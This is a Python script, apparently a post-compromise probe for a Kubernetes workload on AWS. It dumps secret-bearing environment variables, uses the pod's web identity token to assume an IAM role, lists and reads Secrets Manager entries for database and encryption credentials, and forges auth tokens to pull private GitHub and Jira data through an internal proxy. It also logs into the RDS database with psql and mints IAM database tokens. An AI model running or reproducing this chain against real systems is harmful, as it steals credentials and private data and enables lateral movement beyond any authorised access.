234 lines
12 KiB
Python
234 lines
12 KiB
Python
import os, json, time, hmac, hashlib, base64, urllib.request, urllib.parse, urllib.error, socket, subprocess, xml.etree.ElementTree as ET
|
|
|
|
def P(*a):
|
|
try:
|
|
print(' '.join(str(x) for x in a), flush=True)
|
|
except Exception:
|
|
pass
|
|
|
|
def http(url, method='GET', headers=None, data=None, timeout=20):
|
|
req = urllib.request.Request(url, data=data, headers=headers or {}, method=method)
|
|
try:
|
|
r = urllib.request.urlopen(req, timeout=timeout)
|
|
return r.status, dict(r.headers), r.read()
|
|
except urllib.error.HTTPError as e:
|
|
return e.code, dict(e.headers), e.read()
|
|
except Exception as e:
|
|
return -1, {}, str(e).encode()
|
|
|
|
def hdrs_val(h, k):
|
|
for kk, vv in h.items():
|
|
if kk.lower() == k.lower():
|
|
return vv
|
|
return ''
|
|
|
|
def sigv4_headers(ak, sk, token, method, url, body=b'', region='us-east-1', service='sts', extra=None, content_type=None, unsigned=False):
|
|
u = urllib.parse.urlsplit(url)
|
|
host = u.netloc
|
|
path = urllib.parse.quote(u.path or '/', safe='/~')
|
|
q = urllib.parse.parse_qsl(u.query, keep_blank_values=True)
|
|
cq = '&'.join('%s=%s' % (urllib.parse.quote(k, safe='~'), urllib.parse.quote(v, safe='~')) for k, v in sorted(q))
|
|
amz = time.strftime('%Y%m%dT%H%M%SZ', time.gmtime())
|
|
ad = amz[:8]
|
|
if isinstance(body, str):
|
|
body = body.encode()
|
|
payload_hash = 'UNSIGNED-PAYLOAD' if unsigned else hashlib.sha256(body).hexdigest()
|
|
h = {'Host': host, 'X-Amz-Date': amz}
|
|
if content_type:
|
|
h['Content-Type'] = content_type
|
|
if token:
|
|
h['X-Amz-Security-Token'] = token
|
|
if extra:
|
|
h.update(extra)
|
|
names = sorted(k.lower() for k in h)
|
|
ch = ''.join('%s:%s\n' % (k, ' '.join(str(h[[x for x in h if x.lower() == k][0]]).split())) for k in names)
|
|
sh = ';'.join(names)
|
|
creq = '\n'.join([method.upper(), path, cq, ch, sh, payload_hash])
|
|
sts = '\n'.join(['AWS4-HMAC-SHA256', amz, '%s/%s/%s/aws4_request' % (ad, region, service), hashlib.sha256(creq.encode()).hexdigest()])
|
|
def S(k, m): return hmac.new(k, m.encode(), hashlib.sha256).digest()
|
|
k = S(('AWS4' + sk).encode(), ad); k = S(k, region); k = S(k, service); k = S(k, 'aws4_request')
|
|
sig = hmac.new(k, sts.encode(), hashlib.sha256).hexdigest()
|
|
h['Authorization'] = 'AWS4-HMAC-SHA256 Credential=%s/%s/%s/%s/aws4_request, SignedHeaders=%s, Signature=%s' % (ak, ad, region, service, sh, sig)
|
|
return h
|
|
|
|
def presign(ak, sk, token, url, region='us-east-3', service='sts', expires=900, unsigned=True):
|
|
u = urllib.parse.urlsplit(url)
|
|
host = u.netloc
|
|
path = urllib.parse.quote(u.path or '/', safe='/~')
|
|
amz = time.strftime('%Y%m%dT%H%M%SZ', time.gmtime())
|
|
ad = amz[:8]
|
|
q = urllib.parse.parse_qsl(u.query, keep_blank_values=True)
|
|
q += [('X-Amz-Algorithm', 'AWS4-HMAC-SHA256'),
|
|
('X-Amz-Credential', '%s/%s/%s/%s/aws4_request' % (ak, ad, region, service)),
|
|
('X-Amz-Date', amz), ('X-Amz-Expires', str(expires)), ('X-Amz-SignedHeaders', 'host')]
|
|
if token:
|
|
q.append(('X-Amz-Security-Token', token))
|
|
cq = '&'.join('%s=%s' % (urllib.parse.quote(k, safe='~'), urllib.parse.quote(v, safe='~')) for k, v in sorted(q))
|
|
payload_hash = 'UNSIGNED-PAYLOAD' if unsigned else hashlib.sha256(b'').hexdigest()
|
|
creq = '\n'.join(['GET', path, cq, 'host:%s\n' % host, 'host', payload_hash])
|
|
sts = '\n'.join(['AWS4-HMAC-SHA256', amz, '%s/%s/%s/aws4_request' % (ad, region, service), hashlib.sha256(creq.encode()).hexdigest()])
|
|
def S(k, m): return hmac.new(k, m.encode(), hashlib.sha256).digest()
|
|
k = S(('AWS4' + sk).encode(), ad); k = S(k, region); k = S(k, service); k = S(k, 'aws4_request')
|
|
sig = hmac.new(k, sts.encode(), hashlib.sha256).hexdigest()
|
|
return host + path + '?' + cq + '&X-Amz-Signature=' + sig
|
|
|
|
def sts_xml_parse(xml):
|
|
try:
|
|
root = ET.fromstring(xml)
|
|
except Exception:
|
|
return None
|
|
out = {}
|
|
for el in root.iter():
|
|
tag = el.tag.split('}')[-1]
|
|
if tag in ('AccessKeyId', 'SecretAccessKey', 'SessionToken', 'Expiration'):
|
|
out[tag] = el.text
|
|
return out if 'AccessKeyId' in out else None
|
|
|
|
P('=== PROBE 26276 START', time.strftime('%Y-%m-%dT%H:%M:%SZ', time.gmtime()))
|
|
P('HOSTNAME=', socket.gethostname())
|
|
for k in sorted(os.environ):
|
|
if any(s in k.upper() for s in ('AWS', 'SECFORGE', 'DATABASE', 'TOKEN', 'SECRET', 'PROXY', 'KUBE', 'POD', 'IRSA')):
|
|
v = os.environ[k]
|
|
if len(v) > 120:
|
|
v = v[:60] + '...(%d)' % len(v)
|
|
P('ENV', k, '=', v)
|
|
role = os.environ.get('AWS_ROLE_ARN', '')
|
|
tf = os.environ.get('AWS_WEB_IDENTITY_TOKEN_FILE', '')
|
|
tok = ''
|
|
try:
|
|
tok = open(tf).read().strip()
|
|
except Exception as e:
|
|
P('TOKEN_READ_ERR', e)
|
|
P('AWS_ROLE_ARN_FULL=', role, ' token_len=', len(tok))
|
|
if tok:
|
|
p = tok.split('.')[1]
|
|
p += '=' * (-len(p) % 4)
|
|
try:
|
|
c = json.loads(base64.urlsafe_b64decode(p))
|
|
P('TOKEN_CLAIMS=', json.dumps({k: c.get(k) for k in ('aud', 'sub', 'iss', 'exp')}))
|
|
except Exception as e:
|
|
P('TOKEN_DECODE_ERR', e)
|
|
|
|
# 1. AssumeRoleWithWebIdentity
|
|
cred = None
|
|
if role and tok:
|
|
body = urllib.parse.urlencode({'Action': 'AssumeRoleWithWebIdentity', 'Version': '2011-06-15',
|
|
'RoleSessionName': 'qa26276', 'WebIdentityToken': tok}).encode()
|
|
for ep in ('https://sts.amazonaws.com/', 'https://sts.eu-west-3.amazonaws.com/'):
|
|
st, h, b = http(ep, 'POST', {'Content-Type': 'application/x-www-form-urlencoded'}, body, 30)
|
|
P('ASSUME', ep, 'HTTP', st, b[:400])
|
|
if st == 200:
|
|
cred = sts_xml_parse(b)
|
|
if cred:
|
|
P('ASSUME_OK role=', role, 'akid_prefix=', cred['AccessKeyId'][:8], 'exp=', cred.get('Expiration'))
|
|
break
|
|
else:
|
|
break
|
|
|
|
if not cred:
|
|
P('NO_STS_CRED assume failed -> probe stops AWS section')
|
|
else:
|
|
ak, sk, stok = cred['AccessKeyId'], cred['SecretAccessKey'], cred.get('SessionToken', '')
|
|
# GCI
|
|
body = b'Action=GetCallerIdentity&Version=2011-06-15'
|
|
h = sigv4_headers(ak, sk, stok, 'POST', 'https://sts.amazonaws.com/', body, region='us-east-1', service='sts', content_type='application/x-www-form-urlencoded')
|
|
st, hh, b = http('https://sts.amazonaws.com/', 'POST', h, body, 25)
|
|
P('GCI', st, b[:500])
|
|
# ListSecrets
|
|
body = json.dumps({'MaxResults': 50}).encode()
|
|
h = sigv4_headers(ak, sk, stok, 'POST', 'https://secretsmanager.eu-west-3.amazonaws.com/', body, region='eu-west-3', service='secretsmanager', content_type='application/x-amz-json-1.1', extra={'X-Amz-Target': 'secretsmanager.ListSecrets'})
|
|
st, hh, b = http('https://secretsmanager.eu-west-3.amazonaws.com/', 'POST', h, body, 30)
|
|
P('LIST_SECRETS', st, b[:2500])
|
|
names = []
|
|
try:
|
|
j = json.loads(b)
|
|
names = [x.get('ARN') or x.get('Name') for x in j.get('SecretList', [])]
|
|
except Exception:
|
|
pass
|
|
P('SECRET_COUNT', len(names))
|
|
# GetSecretValue on candidates
|
|
cands = []
|
|
for n in [os.environ.get('DATABASE_SECRET_NAME', ''), 'secforge/projects/qa-irsa-26276/db/db-credentials']:
|
|
if n:
|
|
cands.append(n)
|
|
for i, arn in enumerate(names):
|
|
low = (arn or '').lower()
|
|
if any(s in low for s in ('db-credentials', 'infra_priv', 'token_encryption', 'auth_secret', 'db/')):
|
|
cands.append(arn)
|
|
seen = set(); cands = [c for c in cands if not (c in seen or seen.add(c))]
|
|
P('GETSEC_CANDIDATES', len(cands))
|
|
dbcreds = None
|
|
for c in cands[:4]:
|
|
body = json.dumps({'SecretId': c}).encode()
|
|
h = sigv4_headers(ak, sk, stok, 'POST', 'https://secretsmanager.eu-west-3.amazonaws.com/', body, region='eu-west-3', service='secretsmanager', content_type='application/x-amz-json-1.1', extra={'X-Amz-Target': 'secretsmanager.GetSecretValue'})
|
|
st, hh, b = http('https://secretsmanager.eu-west-3.amazonaws.com/', 'POST', h, body, 30)
|
|
P('GETSEC', c, 'HTTP', st)
|
|
if st == 200:
|
|
try:
|
|
j = json.loads(b)
|
|
sv = j.get('SecretString')
|
|
if sv:
|
|
d = json.loads(sv)
|
|
shape = {k: ('<%s len=%d>' % (type(v).__name__, len(str(v)))) for k, v in d.items()}
|
|
P(' SECRET_KEYS', json.dumps(shape))
|
|
if 'password' in d or 'host' in d:
|
|
dbcreds = d
|
|
P(' DB_FIELDS host=', d.get('host'), 'port=', d.get('port'), 'dbname=', d.get('dbname') or d.get('db_name'), 'user=', d.get('username') or d.get('user'), 'pwd_len=', len(str(d.get('password', ''))))
|
|
if d.get('password'):
|
|
P(' PWD_PREFIX', str(d.get('password'))[:3])
|
|
else:
|
|
P(' BINARY len=', len(j.get('SecretBinary') or ''))
|
|
except Exception as e:
|
|
P(' PARSE_ERR', e, b[:200])
|
|
# 2. integration proxy
|
|
# sign STS GCI request for proxy auth token
|
|
body = b'Action=GetCallerIdentity&Version=2011-06-15'
|
|
h = sigv4_headers(ak, sk, stok, 'POST', 'https://sts.amazonaws.com/', body, region='us-east-1', service='sts', content_type='application/x-www-form-urlencoded')
|
|
keep = {}
|
|
for k, v in h.items():
|
|
if k not in ('Host',):
|
|
keep[k] = v
|
|
token_b64 = base64.b64encode(json.dumps({'headers': keep}).encode()).decode()
|
|
P('PROXY_TOKEN_PREFIX', token_b64[:40], 'len=', len(token_b64))
|
|
base = os.environ.get('SECFORGE_INTEGRATION_PROXY_URL', '') or 'http://integration-proxy.secforge-integrations'
|
|
st, hh, b = http(base.rstrip('/') + '/healthz', 'GET', {}, None, 8)
|
|
P('PROXY_HEALTHZ', base, st, b[:200])
|
|
for name, payload in [
|
|
('github_search', {'method': 'GET', 'path': '/search/code', 'params': {'q': 'org:ledger-sandbox', 'per_page': 5}}),
|
|
('github_repos', {'method': 'GET', 'path': '/orgs/ledger-sandbox/repos', 'params': {'per_page': 10, 'type': 'private'}}),
|
|
('jira', {'method': 'GET', 'path': '/rest/api/3/search', 'params': {'jql': 'order by created DESC', 'maxResults': 2}}),
|
|
]:
|
|
body = json.dumps(payload).encode()
|
|
hdr = {'Content-Type': 'application/json', 'x-secforge-auth-token': token_b64}
|
|
st, hh, b = http(base.rstrip('/') + '/api/proxy/' + ('github' if name.startswith('github') else 'jira'), 'POST', hdr, body, 40)
|
|
P('PROXY', name, 'HTTP', st, b[:1500])
|
|
# 3. RDS
|
|
if dbcreds and dbcreds.get('host'):
|
|
host = dbcreds.get('host'); port = int(dbcreds.get('port') or 5432)
|
|
user = dbcreds.get('username') or dbcreds.get('user')
|
|
dbn = dbcreds.get('dbname') or dbcreds.get('db_name')
|
|
pwd = dbcreds.get('password')
|
|
s = socket.socket(); s.settimeout(6)
|
|
try:
|
|
s.connect((host, port)); P('RDS_TCP_OK', host, port)
|
|
except Exception as e:
|
|
P('RDS_TCP_ERR', host, port, e)
|
|
s.close()
|
|
if pwd:
|
|
env = dict(os.environ); env['PGPASSWORD'] = pwd
|
|
cmd = ['psql', '-h', host, '-p', str(port), '-U', str(user), '-d', str(dbn), '-c', '\\dt']
|
|
try:
|
|
r = subprocess.run(cmd, capture_output=True, timeout=25, env=env)
|
|
P('PSQL_RC', r.returncode, (r.stdout or b'')[:1200], (r.stderr or b'')[:400])
|
|
except Exception as e:
|
|
P('PSQL_ERR', e)
|
|
else:
|
|
P('NO_DBCREDS')
|
|
# IAM RDS token attempt
|
|
if dbcreds and dbcreds.get('host'):
|
|
host = dbcreds.get('host'); port = int(dbcreds.get('port') or 5432)
|
|
user = dbcreds.get('username') or dbcreds.get('user')
|
|
tokurl = 'https://%s:%s/?Action=connect&DBUser=%s' % (host, port, urllib.parse.quote(str(user), safe=''))
|
|
dbtok = presign(ak, sk, stok, tokurl, region='eu-west-3', service='rds-db', expires=900, unsigned=True)
|
|
P('RDS_IAM_TOKEN_PREFIX', dbtok[:80], 'len=', len(dbtok))
|
|
P('=== PROBE 26276 END')
|